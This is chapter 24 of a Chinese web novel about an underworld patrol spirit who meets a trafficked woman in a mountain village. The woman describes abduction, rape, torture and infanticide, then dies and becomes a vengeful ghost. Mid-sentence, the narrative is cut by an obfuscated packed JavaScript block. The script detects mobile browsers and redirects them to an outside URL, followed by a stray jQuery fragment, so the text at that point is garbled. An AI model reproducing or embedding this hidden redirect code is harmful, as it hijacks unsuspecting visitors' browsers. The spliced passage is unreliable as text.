24. 第 24 章

作品:《我在地府当悍警

    林正文离开土地庙时,天已经擦黑。


    她飞得又急又快,黑色的魂体在暮色里拉出一道淡淡的残影。脑子里反复回响着土地婆的话——“那群可怜人……每年中元节都要出来闹……”


    是什么样的仇恨?就连生死都难以抹消。


    昨晚林正文一直心里记挂这事,要不是胡三牵连出几个贪官,林正文当时就过去了。


    不论是从新闻,还是从父母亲人口中,她一直都听过有拐子村这种的地方。


    他们或是黑恶产业链中的一环,或是因为家里穷娶不上媳妇,就自己出去“找”。


    总之,那种鬼地方,就像瘟疫一样,一个传染俩,直到整个村子都同流合污。


    女性只要落到这贼窝里,堪比下了十八层地狱,再无逃脱的可能。就连警察想要打击救援,也非常困难。


    林正文没想到,自己从小生活的城市周边,竟然就有个拐子村。


    拐子村在西山最深的山坳里,地图上都不标名字。林正文没去过,但土地婆给她指了方向:翻过三座山头,看见一棵歪脖子老槐树,往下就是。


    她一路飞一路找,飞过第一座山时,天彻底黑了。


    飞过第二座山时,月亮升起来,惨白的光照在山路上,像铺了一层霜。


    第三座山刚飞到一半,林正文猛地停住。


    前方几公里外,本来应该袅无人烟的地方,一股浓重的死气正升腾起来——那是将死之人散出的气息,阴间的公务员隔老远就能感应到。


    “不好!”


    林正文魂体一颤,鬼气催到极致,整个人像箭一样射出去。


    风在耳边呼啸,她脑子里只有一个念头:快点,再快点!


    赶到歪脖子老槐树时,死气已经浓得化不开了。


    林正文顺着目的地往下冲,看见山坳里零零散散十几户土房,最破的那户后院,有个矮棚子——说是猪圈都抬举了,几块木板搭的,顶上盖着破洞塑料布。


    最触目惊心的是——棚子里躺着个人。


    二十来岁的女人,瘦得只剩一把骨头,衣服破成布条,露出的皮肤上满是淤青和伤痕。她眼睛半睁着,瞳孔已经散了,但胸口还有微弱的起伏。


    林正文落在棚子外,正要冲进去,土地婆从地底冒出来,一把拉住她。


    “游神,别冲动。”土地婆小声说,“她命数到了,你救不了。”


    “我……”林正文张了张嘴,话卡在喉咙里。可让她眼看着人死,比杀了她还难受。


    棚子里的女人似乎感觉到了什么,眼珠极其缓慢地转动,看向棚外。她的视线穿过木板缝隙,落在林正文半透明的身子上。


    “……鬼?”女人的声音细得像蚊子叫。


    林正文穿过木板,蹲在她身边:“我是游神。你……你叫什么名字?”


    女人看着她,枯槁的脸上居然露出一丝笑:“燕子……我叫燕子。”


    “燕子,你撑住,我——”林正文甩开土地婆,冲过去扑在她面前,想伸手撑住她的身体,却怕自己成了压倒骆驼的最后一根稻草,左右为难。


    “不用了。”燕子打断她,声音很轻,却很坚决,“我……我等这一天,等了三年了。”


    她眼睛望向棚顶破洞外的一小片夜空,月光漏进来,照在她脸上。刚才灰暗的瞳孔突然有了光,就连精神头也好了不少。


    林正文却没有任何喜意,因为燕子身上的死气更浓了。


    “我是被人卖到这儿的。”燕子说,语气平静得像在讲别人的故事,“二十二岁,大学毕业刚一年,在火车站被人用迷药捂了嘴。醒来就在这山里,锁在柴房。”


    “这家的男人四十多了,又老又丑,第一晚他就……”燕子顿了顿,“我不从,他就打我。用皮带抽,用烟头烫。他妈在旁边看着,说‘打,打服了就好了’。”


    林正文拳头攥紧了。


    “我想跑。”燕子继续说,“跑过三次。”


    “第一次跑到山口,被村里人抓回来,打断了一条腿;第二次我本来都要走了,听说村里另一户‘娶媳妇’,我想带她一起走,结果又被抓了;第三次……”


    她笑了,笑声嘶哑:“后来,我就怀孕了。他们看得更严了。”


    “他们把我关在猪圈里,吓唬我,不老实呆着,就让猪把我啃的骨头渣子都不剩。他们能做的出来,几年前就有一户的女人……被活生生的……”


    土地婆别过脸,不忍听。


    “从那天起,我就知道,我逃不掉了,想解脱,唯有死。”


    燕子看着林正文:“可他们看得紧,第一胎是个女孩,直接被溺死了。之后他们日夜逼我生孩子,那男人和他爹一起……我就连死也做不到……”


    “只能等,等身体垮掉,等油尽灯枯……今天,终于等到了。”


    她伸出皮包骨的手指,想碰碰林正文,手却穿了过去。


    “成了鬼,我就能报仇了。”燕子眼里燃起最后一点光,“我要杀了他们,一个一个杀……”


    “不行!”土地婆急忙插话,“燕子姑娘,你听我说。”


    “人死后,就算成了厉鬼,无常也会第一时间把你押回地府。你什么都做不了!”


    “我不怕。”燕子摇头,“只要能报仇,魂飞魄散我都认。”


    林正文再也忍不了了,猛地站起来:“我去杀他们!我现在就去!”


    “你怎么也脑子不清楚了!”土地婆死死拽住她,“你是游神!杀活人是什么罪你知道吗?!”


    林正文眼睛红了:“那些人渣!畜生!他们——”


    话没说完,棚子里传来一声极轻的叹息。


    像是什么东西,终于断了。


    林正文颤抖着转头看去,发现燕子闭上眼睛,胸口最后一点起伏也停了。


    下一秒,一个半透明的魂魄从身体里飘出来——灰扑扑的,只是个普通的怨鬼。


    但转眼间,灰色开始变深,泛起血色。怨气像火焰一样从她魂体里升腾起来,眼睛瞬间变得血红。


    “吼——!”


    燕子仰头发出一声非人的嘶吼,长发无风自动,指甲暴涨成利爪。怨气还在涨,丙等怨鬼、乙等怨鬼……最后一跃成为厉鬼!


    “坏了!”土地婆脸色大变,“再继续下去,我们也压不了她!”


    话音未落,燕子已经冲出棚子,朝着主屋扑去。屋里传来男人的鼾声,还有老人的梦呓。


    土地婆一咬牙,手中拐杖往地上一顿:“地缚!”


    地面伸出无数土黄色的根蔓,在主屋门前缠向燕子的脚踝。燕子厉啸一声,怨气爆发,根蔓寸寸断裂。


    “丫头!帮忙!”土


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118204|195584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地婆喊。


    林正文没动。


    她看着燕子的背影,看着主屋那扇破木门,脑中闪过中元节从城隍镜中传来的话——【别让那群女鬼冲进民宅!】


    那些等了十几年的女人。


    那些每年中元节想冲出来报仇,却被一次次压回去的冤魂。


    “土地婆婆。”林正文忽然开口,声音很平静,“如果事事都按规矩,那活着,或者死了……还有什么意思?”


    土地婆一愣。


    “您在这片做了多久的土地?见过多少不平事?”林正文转头看她,“每次都告诉自己‘职责所在’‘规矩如此’,然后眼睁睁看着?”


    “我……”土地婆语塞。


    “我才死了几个月。”林正文咧嘴笑了,笑容里有种息不灭的光,“我不想变成那样。”


    她转身,飘到燕子面前。


    燕子正疯狂往前抓挠,一次次破坏土地婆的阻拦,又一次次被挡在一步之遥的门外。


    “燕子。”林正文叫她。


    燕子回头,血红的眼睛盯着她。


    “想报仇吗?”林正文问。


    “想!做梦都想!”


    “好,我帮你。”


    “游神你……哎!”土地婆走过来,表情复杂:“丫头,你到底想干什么?”


    林正文没回答,她看向燕子:“信我吗?”


    燕子盯着她看了很久,眼中的血色慢慢褪去一些:“……我不知道。”


    “想报仇,你只能信我。”林正文伸手拉住燕子的手腕,另一只手拉住土地婆,“来不及了,我们先换个地方。”


    “去哪?”土地婆问。


    “梦里。”


    话音落下,林正文魂体爆发出一阵幽光。光裹住三人,下一瞬,他们从原地消失。


    主屋的门“吱呀”一声开了。


    男人提着裤腰走出来,睡眼惺忪地准备去撒尿,回来正经过猪圈想去爽一把,就发现里面的人不动了。


    “死了?”他皱眉,啐了一口,“真他妈晦气!明天就给猪加餐。”


    他转身回屋,砰地关上门。


    几分钟后,范七的身影来到上空。


    他疑惑的看着下方,满脸费解:“难道是感觉错了?还是被别的无常勾走了?”


    随后摇头离去。


    他也没多想,一个片区至少两名无常,新出现的灵魂被别的无常勾走也有可能。


    直到范七离开,林正文三人突然又出现在破屋门前,险而又险,差点被他发现。


    她心中暗恼:实力还是不够……


    就在刚才三个灵魂的重量,压得她差点从梦境中弹出来。还是土地婆察觉无常就在附近,出手相助,这才没有出师未捷身先死。


    就算如此,也让林正文落地的瞬间腿软了一下,被燕子扶着才能站直。


    土地婆眼中划过后悔:“刚才三个灵魂的重量差点把你从梦境里挤出来……要不还是算了,老身这就带燕子去地府报道,你只当……”


    退堂鼓的话还未说完,就见面前的少女游神身上突然爆发出一阵超强鬼气,周身气场竟然以惊人的速度直逼自己,甚至不等她深究,又飞速步入高等鬼差行列。


    “这,这……这就是十世善人!”土地婆震惊地瞪大眼睛,最后只能归结于唯一的可能。